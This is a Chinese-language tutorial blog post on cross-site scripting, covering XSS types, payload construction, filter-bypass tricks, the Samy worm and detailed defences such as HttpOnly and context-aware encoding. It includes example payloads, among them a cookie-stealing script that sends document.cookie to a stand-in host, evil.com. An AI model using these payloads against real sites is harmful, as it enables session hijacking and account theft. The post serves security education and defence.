跨站脚本攻击(XSS)详解

跨站脚本攻击(XSS)详解

XSS简介

XSS(Cross Site Script)攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一开始,这种攻击的演示案例是跨域的,所以叫做"跨站脚本"。现在是否跨域已经不再重要,但是名字一直沿用下来。

XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大,且产生的场景复杂,难以一次性解决。

下面举个XSS的例子

假如用户把页面输入的参数直接输出到页面上:

<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?> 

如果用户提交了一段HTML代码

http://www.test.com/test.php?param=<script>alert(/xss/)</script>

alert(/xss/)就会在页面中执行,弹出框显示/xss/。

这个例子就是XSS的一种:反射型XSS。

根据效果的不同,XSS可以分为三类

1.反射型XSS

反射型XSS只是简单地把用户输入的数据”反射“给浏览器。也就是说黑客往往需要诱使用户”点击“一个恶意链接,才能攻击成功。反射型XSS也叫”非持久型XSS”。

2.存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

比较常见的,黑客写下一篇包含恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意脚本保存在了服务端,这种XSS攻击就叫做“存储型XSS”。存储型XSS也叫做“持久型XSS”。

3.DOM Based XSS

DOM Based XSS从效果上来说也是反射型XSS,单独划分出来是因为它的形成原因比较特殊,发现它的安全专家提出了这种类型的XSS。出于历史原因把它单独作为一个分类了。

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

下面举个例子

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title>
</head>
<body><script> function test() {var str = document.getElementById('text').value;document.getElementById('t').innerHTML = "<a href='" + str + "' >testLink</a>";} </script><div id="t"></div><input type="text" id="text" value="" /><input type="button" id="s" value="write" onclick="test()" />
</body>
</html> 

输入框构造如下数据:

' onclick=alert(/xss/) //

它先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个引号。 输入后,页面代码变成了:

<a href="" onclick="alert(/xss/)" '>testLink</a>

点击新生成的这个链接,脚本将被执行。

其实这里还有另外一种利用方式,还可以选择闭合掉<a>标签,并插入一个新的HTML标签。尝试如下输入:

'><img src=# onerror=alert(/xss2/) /><'

页面代码变成了

<a href=""><img src="#" onerror="alert(/xss2/)"><''>testLink
</a> 

脚本直接被执行,弹出/xss2/。

XSS攻击进阶

初识XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为"XSS Payload"。

XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。

一个最常见的XSS Payload,就是通过读取浏览器对象,从而发起“Cookie劫持”攻击。

Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。也就是,你可以在不知道密码的情况下直接登录用户账户。

下面举个例子,攻击者先加载一个远程脚本:

http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>

真正的XSS Payload写在这个脚本中,避免直接在URL参数中写入大量的JavaScript代码。

evil.js代码如下,它将document.cookie对象发送到了远端服务器

var img = document.createElement('img');
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img); 

Cookie的"HttpOnly"标识可以防止“Cookie劫持”,我们将在稍后具体介绍。

强大的XSS Payload

"Cookie劫持"并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站可能会把Cookie与客户端IP绑定。尽管如此,攻击者还是有很多方式能够控制用户的浏览器。

构造GET和POST请求

假设有篇博客所在域的某页面存在XSS漏洞,正常删除文章的链接是:

http://blog.com/article?m=delete&id=123

那么攻击者只需要知道文章的id,皆可以通过这个请求删除这篇文章了。

var img = document.createElement('img');
img.src = 'http://blog.com/article?m=delete&id=123';
document.body.appendChild(img); 

攻击者只需要让博客作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。

对于POST请求,可以这样实现

第一个种方法

var f = document.createElement('form');
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement('input');
i1.name = 'name';
i1.value = 'value';
f.appendChild(i1);
f.submit(); 

如果参数很多,通过构造DOM节点的方式,代码将十分冗长。可以通过innerHTML直接写html字符串的方式构造。

第二种方法可以使用XMLHttpRequest直接发送一个POST请求。

XSS钓鱼

前面介绍的,XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程。

比如之前“通过POST表单发消息”的例子,如果要求用户输入验证码,那么一般的XSS Payload都会失效。此外,在大多数“修改用户密码”的功能中,都会要求用户输入原密码,而攻击者往往是不知道的。

但这也不能限制住XSS。

对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远端服务器——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload。

修改密码的问题稍微复杂点,攻击者可以将XSS与“钓鱼”相结合。利用JavaScript实现一个伪造的登录框,当用户输入用户名和密码后,将密码发送至黑客的服务上。

识别用户浏览器

攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如知道用户使用的浏览器、操作系统,就有可能实施一次精准的浏览器内存攻击,最后给用户电脑植入一个木马。

比如使用XSS读取浏览器的UserAgent对象

alert(navigator.userAgent);

但是这个对象是可以伪造的,所以信息不一定准确。

可以有另外一种技巧,来更准确地识别用户的浏览器版本

由于浏览器之间的实现存在差异,同一个浏览器不同版本之前可能也有细微的差别。通过判断这些差异,就能准确的识别出浏览器版本。

比如:

if (window.ActiveXObject) // MSIE 6.0 or below

识别用户安装的软件

在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。

浏览器的扩展和插件也能被XSS Payload扫描出来。比如Firefox的插件(Plugin)列表存放在一个DOM对象中,通过查询DOM可以遍历所有的插件。

CSS History Hack

通过CSS可以获取一个用户曾经访问过的网站。其原理利用的是style的visited属性。如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

获取用户的真实IP地址

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript本身并没有提供获取本地IP地址的能力,XSS攻击需要借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。

除了Java之外,一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊,需要具体情况具体分析。

XSS攻击平台

有安全研究者将许多功能封装起来,称为XSS攻击平台。这些平台主要是为了演示XSS的危害,以及方便渗透测试使用。

终极武器:XSS Worm

XSS也能形成蠕虫

Samy Worm

在2005年有年仅19岁的Samy Kamkar对MySpace.com发起的,这是Web安全史上第一个重量级的XSS Worm。

首先,Myspace网站过滤掉了很多危险的标签,所有的事件如”onclick“等也被过滤了。但是它允许用户控制标签的style属性,通过style还是有办法构造出XSS的

<div style="background:url('javascript:alert(1)')">

其次,Myspace同时还过滤了‘javasript’、‘onreadystatechange’等敏感词,所以Samy用了”拆分法“绕过这些限制。

最后,Samy通过AJAX构造的POST请求,完成了在用户的heros列表里添加自己名字的功能:同时复制蠕虫自身进行传播。

XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起它是有一定条件的。

一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。

比如,发送站内信、用户留言等页面,都是XSS Worm的高发区。

XSS构造技巧

利用字符编码

”百度搜藏”曾经在一个<script>标签中输出了一个变量

var redirectUrl = "\";alert(/xss/);";

变量处于双引号内,系统转义了双引号导致变量无法“escape”。

但是,返回页面是GBK/GB2312编码的,因此”%c1\“这两个字符组合在一起后,会成为一个Unicode字符。所以构造:

%c1";alert(/xss/);//

并提交,得到如下效果

var readirectUrl = "乱码";alert(2);//";

绕过长度限制

<input type=text value="$var" />

如果服务器对$var做个严格的长度限制,假如长度限制为20个字节

攻击者这样构造:

$var 为: "><script>alert(/xss/)</script>

超过了长度。

这样构造

$var 为: "onclick=alert(1)//

不会超过长度限制

最好的办法是将XSS Payload写到别处,再通过简短的代码加载它。

最常用的一个”藏代码“的地方,就是"localtion.hash",它的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容。

$var 修改为: " onclick="eval(location.hash.substr(1))

当然,还可以使用远程加载js的方法,以避免浏览器地址栏长度的限制。

使用标签

<base>标签并不常用,它定义页面上所有使用"相对路径"标签的hosting地址。它可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。

攻击可以在页面中插入<base>标签,通过在远程服务器伪造图片、链接或脚本,劫持当前页面中所使用“相对路径”的标签

所以在设计XSS安全方案时,一定要过滤掉这个危险的标签。

window.name

window对象是浏览器的窗体,很多时候window对象不受同源策略限制,可以实现跨域、跨页面传递数据。

使用window.name可以缩短XSS Payload的长度

<script> window.name = "alert(document.cookie)";location.href = "http://www.xss.com" </script>

在同一个窗口打开XSS的站点后,只需要通过XSS执行代码

eval(window.name);

Apache Expect Header XSS

向服务器提交

Expect: <script>alert('xss');</script>

当服务器出错返回时,Expect头的内容未经任何处理便会写入页面。对于XSS攻击来说,JavaScript工作在渲染后的浏览器环境中,无法控制用户浏览器发出的HTTP头。该漏洞当初被认为是一个鸡肋。

但是,使用Flash,可以自定义大多数请求的HTTP头。因此,Flash在新版本中禁止用户发送Expect头。但后来发现可以通过注入HTTP头的方式绕过这个限制,Flash目前已经修补了该问题。

此类攻击,还可以通过Java Applet等构造HTTP请求的第三方插件来实现。

Anehta的回旋镖

反射型XSS也可能像存储型XSS一样利用。

回旋镖的思路是:如果在B域上存在一个反射型“XSS_B”,在A域上存在一个存储型“XSS_A”,当用户访问A域上的“XSS_A”时,同时嵌入B域上的“XSS_B“,则可以达到在A域的XSS攻击B域用户的目的。

我们知道,在IE中,<iframe><img><link>等标签都会拦截”第三方Cookie“的发送。在Firefox则无这种限制(第三方Cookie指得是保存在本地的Cookie,也就是服务器设置了expire时间的Cookie)。

所以对于Firefox,只需要在XSS_A处嵌入一个iframe即可

<iframe src="http://www.b.com/?xss..."></iframe>

对于IE,为了达到执行XSS_B的目的,可以使用一个<form>标签,在浏览器提交form表单时,不会拦截第三方Cookie的发送。因此,先在XSS_A上写一个<form>,自动提交到XSS_B,然后在XSS_B中再跳转回原来的XSS_A,完成了一个”回旋镖“。这种攻击的缺点是,用户会看到地址栏的变化。

Flash XSS

在Flash中是可以嵌入ActionScript脚本的,

getURL("javascript:alert(document.cookie)");

使用<embed>将Flash嵌入页面中。

在实现XSS Filter时,一般会禁用<embed><object>等标签。后者甚至可以加载ActiveX控件。

如果网站一定要使用Flash,如果仅仅是视频文件,则要求其转码为”flv文件“。flv是静态文件,不会产出安全隐患。如果是带动态脚本的Flash,可以通过Flash的配置参数限制。

限制Flash动态脚本的最重要的参数是”allowScriptAccess“,这个参数定义了Flash能否与HTML页面进行通信。它有三个可选值:

1.always 不做任何限制

2.sameDomain 只允许来自于本域的Flash与Html通信,默认值

3.nerver 禁止

allowNetworking 也非常关键,它能控制Flash与外部网络进行通信

1.all 允许所有网络 默认值

2.internal 不能与浏览器通信如navigateToURL,但可以调用其他的API

3.none 禁止

除了用户上传的Flash文件能够实施脚本攻击外,一些Flash也可能会产生XSS漏洞。

on (release) {getURL(_root.clickTAG, "_blank");
} 

这段代码缺乏输入验证,会被XSS攻击。

XSS的防御

HttpOnly

浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。它解决的是XSS后的Cookie劫持攻击。

HttpOnly是在服务器返回的响应头Set-Cookie上标记的:

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly] 

输入检查

XSS要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查的逻辑,必须放在服务端代码中实现。如果只是在客户端使用JavaScript进行输入检查,很容易被攻击者绕过。目前的普遍做法是,同时在客户端和服务端实现相同的输入检查。客户端检查可以阻挡大部分误操作的用户,从而节省服务器资源。

XSS输入检查一般会检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,将这些字符过滤或者编码。

比较智能的输入检查,可能会匹配XSS的特征。比如查找用户数据中是否包含了<script>、javascript等敏感字符。

这种输入检查的方式,称为XSS Filter。

XSS Filter只获取了用户提交的数据进行检查,但是并没有结合渲染页面的HTML代码,因此对语境的理解并不完整。

例如:

<script src="$var"></script>

用户只需要提交一个恶意脚本所在的URL地址,即可实施XSS攻击。而大多数情况下,URL是合法的用户数据。

XSS Filter还有一个问题,对<、>的处理可能会改变用户语义。

比如

1+1<3

如果XSS Filter不够智能,粗暴地过滤或者替换<,则会改变用户原来的意思。

输出检查

既然输入检查存在这么多问题,那输出检查又如何呢?

一般来说,除了富文本输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

安全的编码函数

编码分为很多种,针对HTML代码的编码方式是HtmlEncode。 HtmlEncode并非专有名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1

为了对抗XSS,在HTMLEncode中要求至少转换以下字符:

& -> &amp;
< -> &lt;
> -> &gt;
" -> &quot;
' -> '
/ -> &#x2F 

Javascript的编码方式可以使用JavaScriptEncode

它使用""对特殊字符进行转义。在对抗XSS时还要求输出的变量必须在引号内部,以避免造成安全问题。

比较两种写法

var x = escapeJavaScript($evil);
var y = '"'+escapeJavaScript($evil)+'"'; 

如果只是转义了几个危险字符,如’、”、<、>、\、&、#等,那么可能会输出

var x = 1;alert(2);
var y = "1;alert(2);"; 

攻击者即使想要逃脱出引号的范围,也会遇到困难。

var y = "\";alert(1);\/\/";

但是开发者没有这个习惯怎么办?

那就只能使用一个更加严格的JavaScriptEncode函数来保证安全了——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码

var x = 1;alert(2);

变成了

var x = 1\x3balert\x282\x29;

此外还有其他编码函数,如XMLEncode、JSONEncode等

只需要一种编码吗

XSS主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。

如Python的开发框架Django自带的模板系统"Django Templates",可以使用escape进行HtmlEncode,并且在Django1.0中得到了加强——默认所有的变量都会被escape。

但这样还是不能完全避免XSS问题,需要“在正确的地方使用正确的编码方式”

例如

<body><a href=# onclick="alert('$var');" >test</a>
</body> 

如果用户输入

$var = htmlencode("');alert('2");

对于浏览去器来说,htmlparser会优先于JavaScript Parser执行

经过解析后,结果为

<body><a href=# onclick="alert('');alert('2');" >test</a>
</body> 

xss被注入。

xss发出的原因是,没有分清楚输出变量的语境,并非在模板引擎中使用了auto-escape就万事大吉了。

正确防御XSS

XSS的本质是一种“HTML注入”,想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。

在HTML标签中输出

<div>$var</div>
<a href=# >$var</a> 

防御的方法是对变量使用HtmlEncode

在HTML属性中输出

<div id="abc" name="$var" ></div>

防御的方法是对变量也是使用HtmlEncode

在script标签中输出

首先应该确保输出的变量在引号中:

<script> var x = "$var"; </script>

防御时使用JavaScriptEncode

在事件中输出

<a href=# onclick="funcA('$var')" >test</a>

防御方式和在script标签中输出类似

在CSS中输出

比如@import、url等直接加载XSS、expression(alert(‘xss’))等

一方面需尽可能避免用户可控制的变量在css中输出,如果必须有这样的需求,那么使用encodeForCSS

在地址栏输出

一般来说使用URLEncode即可,但是如果整个URL被用户完全控制,Protocal和Host是不能使用URLEncode的,否则会改变URL的语义。

[Protocal][Host][Path][Search][Hash]

例如www.evil.com/a/b/c/test?…

对于如下的输出方式:

<a href="$var" >test</a>

攻击者可能会构造伪协议实施攻击

<a href="javascript:alert(1);" >test</a>

此外,“vbscript”、“dataURI”等伪协议也可以导致脚本执行。

一般来说,对于用户控制整个URL,应该先检查是否以“http”开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击,然后再对变量进行URLEncode。

处理富文本

网站允许用户提交一些自定义的HTML代码,称之为富文本。

在处理富文本时,还是要回到“输入检查”的思路上来。“输入检查”的主要问题是检查时还不知道变量的输出语境。但富文本数据,其语义是完整的HTML,在输出时也不会拼凑到某个标签的属性中。因此,可以特殊对待。

通过htmlparser可以解析出HTML代码的标签、标签属性和事件。

在过滤富文本时,事件应该被严格禁止、而一些危险的标签,比如iframe、script、base、form等也是应该严格禁止的。在标签选择上,应该使用白名单。比如,只允许a、img、div等比较安全的标签。“白名单”同样应该用于属性和事件的选择。

在富文本过滤中,处理CSS也是一件麻烦的事,因此应该禁止用户自定义CSS和style。如果不能禁止,那就需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。

防御DOM Based XSS

DOM Based XSS前文提到的几种防御方法都不太适用。

DOM Based XSS是从JavaScript中输出数据到HTML页面里,而前文都是针对从服务器应用直接输出到HTML页面的XSS漏洞。

服务器执行了javascriptEscape,输出的数据又重新渲染到了页面中,对变量进行了解码,仍然会产生XSS。

正确的防御方法是,在$var输出到script时,执行一次javaScriptEncode,其次在输出到HTML页面时,如果输出到事件或者脚本,则要再做一次javaScriptEncode;如果输出到HTML内容或者属性,则再做一次HtmlEncode。

触发DOM Based XSS的地方有很多,以下几个地方是JavaScript输出到HTML页面的必经之路。

document.write()

document.writeln()

xxx.innerHTML=

xxx.outerHTML=

innerHTML.replace

document.attachEvent()

window.attachEvent()

document.location.replace()

document.location.assign()

需要重点关注这几个地方的参数是否可以被用户控制

除了服务器端直接输出变量到JavaScript外,还有以下几个地方可能成为DOM Based XSS的输出点,也需要重点关注。

inputs框

window.location(href、hash等)

window.name

document.referrer

document.cookie

localstorage

XMLHttpRequest返回的数据

换个角度看XSS的风险

前面都是从漏洞的形成原理上看的,如果从业务风险角度看则有不同的观点

一般来说,存储型XSSS的风险高于反射型。因为它保存在服务器上,有可能会跨页面存在。它不会改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。

从攻击过程来说,反射型XSS,一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型XSS,则只需要让用户查看一个正常的URL链接。

从风险角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不同页面的PageView高低,也可以分析出哪些页面受XSS攻击后的影响更大。

在修补漏洞时遇到的最大挑战之一是漏洞数量太多,开发者不太来得及立刻修复所有漏洞。从业务风险角度来重新定位每个XSS漏洞,就具有了重要意义。

                       

点击阅读全文

上一篇 2023年 5月 25日 am11:18
下一篇 2023年 5月 25日 am11:19